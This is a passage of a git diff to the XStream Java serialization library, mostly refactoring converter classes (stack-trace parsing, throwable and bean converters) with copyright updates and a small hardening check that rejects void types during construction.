a/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlTimeConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlTimeConverter.java index f3b1852eb..f3dc8d7c3 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlTimeConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlTimeConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -28,7 +28,7 @@ public class SqlTimeConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(Time.class); + return type == Time.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlTimestampConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlTimestampConverter.java index ca5762a58..96252670d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlTimestampConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/SqlTimestampConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2012, 2014, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2012, 2014, 2016, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -54,7 +54,7 @@ public SqlTimestampConverter(final TimeZone timeZone) { @Override public boolean canConvert(final Class type) { - return type.equals(Timestamp.class); + return type == Timestamp.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/StackTraceElementConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/StackTraceElementConverter.java index a246d3cda..364d4fad3 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/StackTraceElementConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/StackTraceElementConverter.java @@ -1,41 +1,116 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018, 2019, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 29. May 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; import java.util.regex.Matcher; import java.util.regex.Pattern; import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; +import com.thoughtworks.xstream.core.JVM; /** * Converter for {@link StackTraceElement} (the lines of a stack trace) to a string. - * + * * @author B. K. Oxley (binkley) * @author Joe Walnes */ public class StackTraceElementConverter extends AbstractSingleValueConverter { - // Regular expression to parse a line of a stack trace. Returns 4 groups. + // Regular expression to parse a line of a stack trace. Returns 12 groups. // - // Example: + // Examples: + // com.blah.MyClass.doStuff(MyClass.java) // com.blah.MyClass.doStuff(MyClass.java:123) - // |-------1------| |--2--| |----3-----| |4| - // (Note group 4 is optional is optional and only present if a colon char exists.) + // module/com.blah.MyClass.doStuff(MyClass.java:123) + // module@45/com.blah.MyClass.doStuff(MyClass.java:123) + // loader/module@45/com.blah.MyClass.doStuff(MyClass.java:123) + // loader//com.blah.MyClass.doStuff(MyClass.java:123) - private static final Pattern PATTERN = Pattern.compile("^(.+)\\.([^\\(]+)\\(([^:]*)(:(\\d+))?\\)$"); + private static final Pattern PATTERN = Pattern + .compile("^((([^/]+)/)??(([^/@]*)(@([^/]+))?)?/)?([^/]+)\\.([^./(]+)\\((.*?)(:(-?\\d+))?\\)$"); private static final StackTraceElementFactory FACTORY = new StackTraceElementFactory(); + static class StackTraceElementFactory { + + /** + * @deprecated As of 1.4.8, internal use only + */ + @Deprecated + public StackTraceElement nativeMethodElement(final String declaringClass, final String methodName) { + return create(null, null, null, declaringClass, methodName, null, -2); + } + + /** + * @deprecated As of 1.4.8, internal use only + */ + @Deprecated + public StackTraceElement unknownSourceElement(final String declaringClass, final String methodName) { + return create(null, null, null, declaringClass, methodName, null, -1); + } + + /** + * @deprecated As of 1.4.8, internal use only + */ + @Deprecated + public StackTraceElement element(final String declaringClass, final String methodName, final String fileName) { + return create(null, null, null, declaringClass, methodName, fileName, -1); + } + + /** + * @deprecated As of 1.4.8, internal use only + */ + @Deprecated + public StackTraceElement element(final String declaringClass, final String methodName, final String fileName, + final int lineNumber) { + return create(null, null, null, declaringClass, methodName, fileName, lineNumber); + } + + StackTraceElement create(final String classLoaderName, final String moduleName, final String moduleVersion, + final String declaringClass, final String methodName, final String fileName, final int lineNumber) { + if (JVM.isVersion(9) && (classLoaderName != null || moduleName != null || moduleVersion != null)) { + Exception ex = null; + try { + final Constructor constructor = StackTraceElement.class + .getDeclaredConstructor(String.class, String.class, String.class, String.class, String.class, + String.class, int.class); + return constructor + .newInstance(classLoaderName, moduleName, moduleVersion, declaringClass, methodName, fileName, + lineNumber); + } catch (final NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) { + ex = e; + } + if (ex != null) { + throw new ConversionException("Cannot construct instance of StackTraceElement.", ex); + } + } + return new StackTraceElement(declaringClass, methodName, fileName, lineNumber); + } + + private String toString(final Object obj) { + if (obj == null) { + return null; + } + final StackTraceElement element = StackTraceElement.class.cast(obj); + final String result = obj.toString(); + return element.isNativeMethod() && element.getFileName() != null + ? result.replace("(Native Method)", String.format("(%s:-2)", element.getFileName())) + : result; + } + } + @Override public boolean canConvert(final Class type) { return StackTraceElement.class.equals(type); @@ -43,7 +118,7 @@ public boolean canConvert(final Class type) { @Override public String toString(final Object obj) { - final String s = super.toString(obj); + final String s = FACTORY.toString(obj); // JRockit adds ":???" for invalid line number return s.replaceFirst(":\\?\\?\\?", ""); } @@ -52,24 +127,40 @@ public String toString(final Object obj) { public Object fromString(final String str) { final Matcher matcher = PATTERN.matcher(str); if (matcher.matches()) { - final String declaringClass = matcher.group(1); - final String methodName = matcher.group(2); - final String fileName = matcher.group(3); + String classLoaderName = null; + String moduleName = null; + String moduleVersion = null; + if (matcher.group(1) != null) { + if (matcher.group(2) != null) { + classLoaderName = matcher.group(3); + } + if (matcher.group(4) != null) { + moduleName = matcher.group(5).length() == 0 ? null : matcher.group(5); + if (matcher.group(6) != null) { + moduleVersion = matcher.group(7); + } + } + } + + final String declaringClass = matcher.group(8); + final String methodName = matcher.group(9); + String fileName = matcher.group(10); + int lineNumber = -1; if (fileName.equals("Unknown Source")) { - return FACTORY.unknownSourceElement(declaringClass, methodName); + fileName = null; + lineNumber = -1; } else if (fileName.equals("Native Method")) { - return FACTORY.nativeMethodElement(declaringClass, methodName); + fileName = null; + lineNumber = -2; } else { - if (matcher.group(4) != null) { - final int lineNumber = Integer.parseInt(matcher.group(5)); - return FACTORY.element(declaringClass, methodName, fileName, lineNumber); - } else { - return FACTORY.element(declaringClass, methodName, fileName); + if (matcher.group(11) != null) { + lineNumber = Integer.parseInt(matcher.group(12)); } } + return FACTORY + .create(classLoaderName, moduleName, moduleVersion, declaringClass, methodName, fileName, lineNumber); } else { throw new ConversionException("Could not parse StackTraceElement : " + str); } } - } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/StackTraceElementFactory.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/StackTraceElementFactory.java index 5b7a7d172..1422a19f5 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/StackTraceElementFactory.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/StackTraceElementFactory.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -19,25 +19,5 @@ * @deprecated As of 1.4.8, it is an internal helper class */ @Deprecated -public class StackTraceElementFactory { - - public StackTraceElement nativeMethodElement(String declaringClass, String methodName) { - return create(declaringClass, methodName, "Native Method", -2); - } - - public StackTraceElement unknownSourceElement(String declaringClass, String methodName) { - return create(declaringClass, methodName, "Unknown Source", -1); - } - - public StackTraceElement element(String declaringClass, String methodName, String fileName) { - return create(declaringClass, methodName, fileName, -1); - } - - public StackTraceElement element(String declaringClass, String methodName, String fileName, int lineNumber) { - return create(declaringClass, methodName, fileName, lineNumber); - } - - private StackTraceElement create(String declaringClass, String methodName, String fileName, int lineNumber) { - return new StackTraceElement(declaringClass, methodName, fileName, lineNumber); - } +public class StackTraceElementFactory extends StackTraceElementConverter.StackTraceElementFactory { } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/SubjectConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/SubjectConverter.java index 1e4749be8..594decd17 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/SubjectConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/SubjectConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2006, 2007, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -44,7 +44,7 @@ public SubjectConverter(final Mapper mapper) { @Override public boolean canConvert(final Class type) { - return type.equals(Subject.class); + return type == Subject.class; } @Override @@ -60,7 +60,7 @@ protected void marshalPrincipals(final Set principals, final Hierarch final MarshallingContext context) { writer.startNode("principals"); for (final Principal principal : principals) { - writeItem(principal, context, writer); + writeCompleteItem(principal, context, writer); } writer.endNode(); }; @@ -114,9 +114,7 @@ protected Set populateSet(final HierarchicalStreamReader reader, fina final Set set = new HashSet<>(); reader.moveDown(); while (reader.hasMoreChildren()) { - reader.moveDown(); - final Principal principal = (Principal)readItem(reader, context, set); - reader.moveUp(); + final Principal principal = (Principal)readCompleteItem(reader, context, set); set.add(principal); } reader.moveUp(); diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ThrowableConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ThrowableConverter.java index 29574d93d..bf3b6def0 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ThrowableConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ThrowableConverter.java @@ -1,35 +1,42 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 29. May 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.ConverterLookup; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; +import com.thoughtworks.xstream.mapper.Mapper; /** * Converter for {@link Throwable} (and {@link Exception}) that retains stack trace. - * + * * @author B. K. Oxley (binkley) * @author Joe Walnes * @author Jörg Schaible */ public class ThrowableConverter implements Converter { - private Converter defaultConverter; + private static final String ATTRIBUTE_SERIALIZATION = "serialization"; + private final Converter defaultConverter; private final ConverterLookup lookup; + private final Mapper mapper; /** * @deprecated As of 1.4.5 use {@link #ThrowableConverter(ConverterLookup)} @@ -38,18 +45,32 @@ public class ThrowableConverter implements Converter { public ThrowableConverter(final Converter defaultConverter) { this.defaultConverter = defaultConverter; lookup = null; + mapper = null; } /** * @since 1.4.5 + * @deprecated As of upcoming use {@link #ThrowableConverter(Mapper, ConverterLookup)} */ + @Deprecated public ThrowableConverter(final ConverterLookup lookup) { this.lookup = lookup; + mapper = null; + defaultConverter = null; + } + + /** + * @since upcoming + */ + public ThrowableConverter(final Mapper mapper, final ConverterLookup lookup) { + this.mapper = mapper; + this.lookup = lookup; + defaultConverter = null; } @Override public boolean canConvert(final Class type) { - return Throwable.class.isAssignableFrom(type); + return type != null && Throwable.class.isAssignableFrom(type); } @Override @@ -68,11 +89,33 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, } private Converter getConverter() { + return defaultConverter != null ? defaultConverter : lookup.lookupConverterForType(Ser.class); + } + + private Converter getConverter14() { return defaultConverter != null ? defaultConverter : lookup.lookupConverterForType(Object.class); } @Override public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { - return getConverter().unmarshal(reader, context); + final String attributeName = mapper != null + ? mapper.aliasForSystemAttribute(ATTRIBUTE_SERIALIZATION) + : ATTRIBUTE_SERIALIZATION; + final Converter converter = attributeName != null && reader.getAttribute(attributeName) == null + ? getConverter14() + : getConverter(); + return converter.unmarshal(reader, context); + } + + private static class Ser implements Serializable { + private static final long serialVersionUID = 20190506L; + + @SuppressWarnings("unused") + public Ser() { + } + + private void readObject(final ObjectInputStream in) throws ClassNotFoundException, IOException { + in.defaultReadObject(); + } } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ToAttributedValueConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ToAttributedValueConverter.java index 02f617550..01accbed4 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ToAttributedValueConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ToAttributedValueConverter.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2011, 2013, 2014, 2015, 2016, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. July 2011 by Joerg Schaible */ @@ -28,8 +28,8 @@ import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.DuplicateFieldException; import com.thoughtworks.xstream.converters.reflection.ReflectionProvider; -import com.thoughtworks.xstream.core.util.FastField; import com.thoughtworks.xstream.core.util.HierarchicalStreams; +import com.thoughtworks.xstream.core.util.MemberDictionary; import com.thoughtworks.xstream.core.util.Primitives; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; @@ -45,7 +45,7 @@ * field name itself. Therefore it is possible to define an inherited field as value. It is also possible to provide no * value field at all, so that all fields are written as attributes. *

    - * + * * @author Jörg Schaible * @since 1.4 */ @@ -59,10 +59,9 @@ public class ToAttributedValueConverter implements Converter { private final Field valueField; /** - * Creates a new ToAttributedValueConverter instance. - * - * All field elements will be attributes, the element itself will have no value. - * + * Creates a new ToAttributedValueConverter instance. All field elements will be attributes, the element itself will + * have no value. + * * @param type the type that is handled by this converter instance * @param mapper the mapper in use * @param reflectionProvider the reflection provider in use @@ -77,7 +76,7 @@ public ToAttributedValueConverter( /** * Creates a new ToAttributedValueConverter instance. - * + * * @param type the type that is handled by this converter instance * @param mapper the mapper in use * @param reflectionProvider the reflection provider in use @@ -92,7 +91,7 @@ public ToAttributedValueConverter( /** * Creates a new ToAttributedValueConverter instance. - * + * * @param type the type that is handled by this converter instance * @param mapper the mapper in use * @param reflectionProvider the reflection provider in use @@ -140,17 +139,17 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, final Class[] definingType = new Class[1]; reflectionProvider.visitSerializableFields(source, new ReflectionProvider.Visitor() { @Override - public void visit(final String fieldName, final Class type, final Class definedIn, final Object value) { + public void visit(final String fieldName, final Class type, final Class definedIn, + final Object value) { if (!mapper.shouldSerializeMember(definedIn, fieldName)) { return; } - final FastField field = new FastField(definedIn, fieldName); final String alias = mapper.serializedMember(definedIn, fieldName); if (!defaultFieldDefinition.containsKey(alias)) { final Class lookupType = sourceType; defaultFieldDefinition.put(alias, reflectionProvider.getField(lookupType, fieldName)); - } else if (!fieldIsEqual(field)) { + } else if (!fieldIsEqual(definedIn, fieldName)) { final ConversionException exception = new ConversionException( "Cannot write attribute twice for object"); exception.add("alias", alias); @@ -158,15 +157,15 @@ public void visit(final String fieldName, final Class type, final Class de throw exception; } - ConverterMatcher converter = Enum.class.isAssignableFrom(type) ? (ConverterMatcher)enumMapper - .getConverterFromItemType(null, type, null) : (ConverterMatcher)mapper.getLocalConverter(definedIn, - fieldName); + ConverterMatcher converter = Enum.class.isAssignableFrom(type) + ? (ConverterMatcher)enumMapper.getConverterFromItemType(null, type, null) + : (ConverterMatcher)mapper.getLocalConverter(definedIn, fieldName); if (converter == null) { converter = lookup.lookupConverterForType(type); } if (value != null) { - final boolean isValueField = valueField != null && fieldIsEqual(field); + final boolean isValueField = valueField != null && fieldIsEqual(definedIn, fieldName); if (isValueField) { definingType[0] = definedIn; fieldType[0] = type; @@ -222,7 +221,7 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli final Object result = reflectionProvider.newInstance(context.getRequiredType()); final Class resultType = result.getClass(); - final Set seenFields = new HashSet<>(); + final MemberDictionary seenFields = new MemberDictionary(); final Iterator it = reader.getAttributeNames(); final Set systemAttributes = new HashSet<>(); @@ -244,9 +243,9 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli Class type = field.getType(); final Class declaringClass = field.getDeclaringClass(); - ConverterMatcher converter = Enum.class.isAssignableFrom(type) ? (ConverterMatcher)enumMapper - .getConverterFromItemType(null, type, null) : (ConverterMatcher)mapper.getLocalConverter( - declaringClass, fieldName); + ConverterMatcher converter = Enum.class.isAssignableFrom(type) + ? (ConverterMatcher)enumMapper.getConverterFromItemType(null, type, null) + : (ConverterMatcher)mapper.getLocalConverter(declaringClass, fieldName); if (converter == null) { converter = lookup.lookupConverterForType(type); } @@ -273,7 +272,7 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli } reflectionProvider.writeField(result, fieldName, value, declaringClass); - if (!seenFields.add(new FastField(declaringClass, fieldName))) { + if (!seenFields.add(declaringClass, fieldName)) { throw new DuplicateFieldException(fieldName + " [" + declaringClass.getName() + "]"); } } @@ -317,15 +316,15 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli } reflectionProvider.writeField(result, fieldName, value, classDefiningField); - if (!seenFields.add(new FastField(classDefiningField, fieldName))) { + if (!seenFields.add(classDefiningField, fieldName)) { throw new DuplicateFieldException(fieldName + " [" + classDefiningField.getName() + "]"); } } return result; } - private boolean fieldIsEqual(final FastField field) { - return valueField.getName().equals(field.getName()) - && valueField.getDeclaringClass().getName().equals(field.getDeclaringClass()); + private boolean fieldIsEqual(final Class definedIn, final String name) { + return valueField.getName().equals(name) + && valueField.getDeclaringClass().getName().equals(definedIn.getName()); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ToStringConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ToStringConverter.java index 656cc119a..25e0976d4 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ToStringConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ToStringConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2006, 2007, 2014, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -38,7 +38,7 @@ public ToStringConverter(final Class clazz) throws NoSuchMethodException { @Override public boolean canConvert(final Class type) { - return type.equals(clazz); + return type == clazz; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/javabean/BeanProvider.java b/xstream/src/java/com/thoughtworks/xstream/converters/javabean/BeanProvider.java index d3a60ebf3..c24d78483 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/javabean/BeanProvider.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/javabean/BeanProvider.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2014, 2015, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -64,16 +64,18 @@ public BeanProvider(final PropertyDictionary propertyDictionary) { @Override public Object newInstance(final Class type) { ErrorWritingException ex = null; - try { - return type.newInstance(); - } catch (final InstantiationException e) { - ex = new ConversionException("Cannot construct type", e); - } catch (final IllegalAccessException e) { - ex = new ObjectAccessException("Cannot construct type", e); - } catch (final SecurityException e) { - ex = new ObjectAccessException("Cannot construct type", e); - } catch (final ExceptionInInitializerError e) { - ex = new ConversionException("Cannot construct type", e); + if (type == void.class || type == Void.class) { + ex = new ConversionException("Security alert: Marshalling rejected"); + } else { + try { + return type.newInstance(); + } catch (final InstantiationException | ExceptionInInitializerError e) { + ex = new ConversionException("Cannot construct type", e); + } catch (final IllegalAccessException e) { + ex = new ObjectAccessException("Cannot construct type", e); + } catch (final SecurityException e) { + ex = new ObjectAccessException("Cannot construct type", e); + } } ex.add("construction-type", type.getName()); throw ex; diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/javabean/JavaBeanConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/javabean/JavaBeanConverter.java index a8fc6b7b9..57c0aee4d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/javabean/JavaBeanConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/javabean/JavaBeanConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2018, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,16 +11,12 @@ */ package com.thoughtworks.xstream.converters.javabean; -import java.util.HashSet; -import java.util.Set; - import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.converters.reflection.MissingFieldException; -import com.thoughtworks.xstream.core.util.FastField; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; +import com.thoughtworks.xstream.core.util.MemberDictionary; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -87,7 +83,7 @@ private void writeField(final String propertyName, final Class fieldType, fin final Class actualType = newObj.getClass(); final Class defaultType = mapper.defaultImplementationOf(fieldType); final String serializedMember = mapper.serializedMember(source.getClass(), propertyName); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, serializedMember, actualType); + writer.startNode(serializedMember, actualType); if (!actualType.equals(defaultType) && classAttributeName != null) { writer.addAttribute(classAttributeName, mapper.serializedClass(actualType)); } @@ -98,7 +94,7 @@ private void writeField(final String propertyName, final Class fieldType, fin private void writeNullField(final String propertyName) { final String serializedMember = mapper.serializedMember(source.getClass(), propertyName); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, serializedMember, Mapper.Null.class); + writer.startNode(serializedMember, Mapper.Null.class); writer.addAttribute(classAttributeName, mapper.serializedClass(Mapper.Null.class)); writer.endNode(); } @@ -108,15 +104,7 @@ private void writeNullField(final String propertyName) { @Override public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { final Object result = instantiateNewInstance(context); - final Set seenProperties = new HashSet() { - @Override - public boolean add(final FastField e) { - if (!super.add(e)) { - throw new DuplicatePropertyException(e.getName()); - } - return true; - } - }; + final MemberDictionary seenProperties = new MemberDictionary(); final Class resultType = result.getClass(); while (reader.hasMoreChildren()) { @@ -131,7 +119,9 @@ public boolean add(final FastField e) { final Class type = determineType(reader, result, propertyName); final Object value = context.convertAnother(result, type); beanProvider.writeProperty(result, propertyName, value); - seenProperties.add(new FastField(resultType, propertyName)); + if (!seenProperties.add(resultType, propertyName)) { + throw new DuplicatePropertyException(propertyName); + } } else if (!mapper.isIgnoredElement(propertyName)) { throw new MissingFieldException(resultType.getName(), propertyName); } @@ -167,6 +157,8 @@ private Class determineType(final HierarchicalStreamReader reader, final Obje * @since 1.4.2 */ public static class DuplicatePropertyException extends ConversionException { + private static final long serialVersionUID = 10402L; + public DuplicatePropertyException(final String msg) { super("Duplicate property " + msg); add("property", msg); diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/AbstractAttributedCharacterIteratorAttributeConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/AbstractAttributedCharacterIteratorAttributeConverter.java index e85bee6f0..30b54088c 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/AbstractAttributedCharacterIteratorAttributeConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/AbstractAttributedCharacterIteratorAttributeConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2007, 2013, 2014, 2015, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -17,6 +17,7 @@ import java.text.AttributedCharacterIterator; import java.util.HashMap; import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; @@ -34,26 +35,8 @@ public class AbstractAttributedCharacterIteratorAttributeConverter> instanceMaps = - new HashMap<>(); - private static final Method getName; - - static { - Method method = null; - try { - method = AttributedCharacterIterator.Attribute.class.getDeclaredMethod("getName", (Class[])null); - if (!method.isAccessible()) { - method.setAccessible(true); - } - } catch (final SecurityException e) { - // ignore for now - } catch (final NoSuchMethodException e) { - // ignore for now - } - getName = method; - } - + new ConcurrentHashMap<>(); private final Class type; - private transient Map attributeMap; public AbstractAttributedCharacterIteratorAttributeConverter(final Class type) { super(); @@ -63,12 +46,11 @@ public AbstractAttributedCharacterIteratorAttributeConverter(final Class type) { - return type == this.type && !attributeMap.isEmpty(); + return type == this.type && !getAttributeMap().isEmpty(); } @Override @@ -80,12 +62,10 @@ public String toString(final Object source) { private String getName(final AttributedCharacterIterator.Attribute attribute) { Exception ex = null; - if (getName != null) { + if (Reflections.getName != null) { try { - return (String)getName.invoke(attribute); - } catch (final IllegalAccessException e) { - ex = e; - } catch (final InvocationTargetException e) { + return (String)Reflections.getName.invoke(attribute); + } catch (final IllegalAccessException | InvocationTargetException e) { ex = e; } } @@ -101,8 +81,9 @@ private String getName(final AttributedCharacterIterator.Attribute attribute) { @Override public Object fromString(final String str) { - if (attributeMap.containsKey(str)) { - return attributeMap.get(str); + T attr = getAttributeMap().get(str); + if (attr != null) { + return attr; } final ConversionException exception = new ConversionException("Cannot find attribute"); exception.add("attribute-type", type.getName()); @@ -110,50 +91,64 @@ public Object fromString(final String str) { throw exception; } - private Object readResolve() { + private Map getAttributeMap() { @SuppressWarnings("unchecked") - final Map typedMap = (Map)instanceMaps.get(type.getName()); - attributeMap = typedMap; - if (attributeMap == null) { - attributeMap = new HashMap<>(); - final Field instanceMap = Fields.locate(type, Map.class, true); - if (instanceMap != null) { - try { - @SuppressWarnings("unchecked") - final Map map = (Map)Fields.read(instanceMap, null); - if (map != null) { - boolean valid = true; - for (final Map.Entry entry : map.entrySet()) { - valid = entry.getKey().getClass() == String.class && entry.getValue().getClass() == type; - } - if (valid) { - attributeMap.putAll(map); - } + final Map map = (Map)instanceMaps + .computeIfAbsent(type.getName(), t -> buildAttributeMap(type)); + return map; + } + + private Map buildAttributeMap(Class type) { + final Map attributeMap = new HashMap<>(); + final Field instanceMap = Fields.locate(type, Map.class, true); + if (instanceMap != null) { + try { + @SuppressWarnings("unchecked") + final Map map = (Map)Fields.read(instanceMap, null); + if (map != null) { + boolean valid = true; + for (final Map.Entry entry : map.entrySet()) { + valid = entry.getKey().getClass() == String.class && entry.getValue().getClass() == type; + } + if (valid) { + attributeMap.putAll(map); } - } catch (final ObjectAccessException e) { } + } catch (final ObjectAccessException e) { } - if (attributeMap.isEmpty()) { - try { - final Field[] fields = type.getDeclaredFields(); - for (final Field field : fields) { - if (field.getType() == type == Modifier.isStatic(field.getModifiers())) { - @SuppressWarnings("unchecked") - final T attribute = (T)Fields.read(field, null); - attributeMap.put(toString(attribute), attribute); - } + } + if (attributeMap.isEmpty()) { + try { + final Field[] fields = type.getDeclaredFields(); + for (final Field field : fields) { + if (field.getType() == type == Modifier.isStatic(field.getModifiers())) { + @SuppressWarnings("unchecked") + final T attribute = (T)Fields.read(field, null); + attributeMap.put(toString(attribute), attribute); } - } catch (final SecurityException e) { - attributeMap.clear(); - } catch (final ObjectAccessException e) { - attributeMap.clear(); - } catch (final NoClassDefFoundError e) { - attributeMap.clear(); } + } catch (final SecurityException | ObjectAccessException | NoClassDefFoundError e) { + attributeMap.clear(); } - instanceMaps.put(type.getName(), attributeMap); } - return this; + return attributeMap; } + private static class Reflections { + + private static final Method getName; + + static { + Method method = null; + try { + method = AttributedCharacterIterator.Attribute.class.getDeclaredMethod("getName", (Class[])null); + if (!method.isAccessible()) { + method.setAccessible(true); + } + } catch (final SecurityException | NoSuchMethodException e) { + // ignore for now + } + getName = method; + } + } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/AbstractReflectionConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/AbstractReflectionConverter.java index a472043fd..5f2e27349 100644 --- 